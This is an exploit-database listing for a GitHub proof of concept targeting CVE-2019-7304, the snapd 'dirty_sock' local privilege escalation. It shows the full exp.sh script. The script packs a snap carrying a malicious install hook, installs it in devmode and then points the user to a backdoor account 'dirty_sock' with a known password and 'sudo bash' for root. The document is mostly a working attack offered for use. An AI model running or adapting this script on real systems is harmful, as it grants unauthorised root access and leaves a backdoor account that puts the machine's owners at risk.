Exploit database

GH-f4963a1b05e8b632859a9e4c6a7cb90a

elvi7major/snap_priv_esc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2019-7304

14 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
elvi7major/snap_priv_escRevision b856124f286e

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exp.sh

Shell · 604 bytes
#!/usr/bin/bash

# making the working directory

echo "[*] Exploit Start : making a working dir..."
cd /tmp
mkdir .snap_exp && cd .snap_exp

# Set up needs
echo "[*] Preparing..."
mkdir meta && mkdir meta/hooks
cp $2/install meta/hooks/install
chmod a+x meta/hooks/install
cp $2/snap.yaml meta/snap.yaml
echo "[*] Ready to start packing"

# Triger the pack
echo "[*] Packing..."
snap pack
echo "[*] Packed."

# done
echo "[*] Trigring tha snap"
sudo $1 install --devmode *.snap
echo "[*] Done."
echo "[*] you use below commands"
echo "	su - dirty_sock"
echo "	dirty_sock (as password)"
echo "	sudo bash"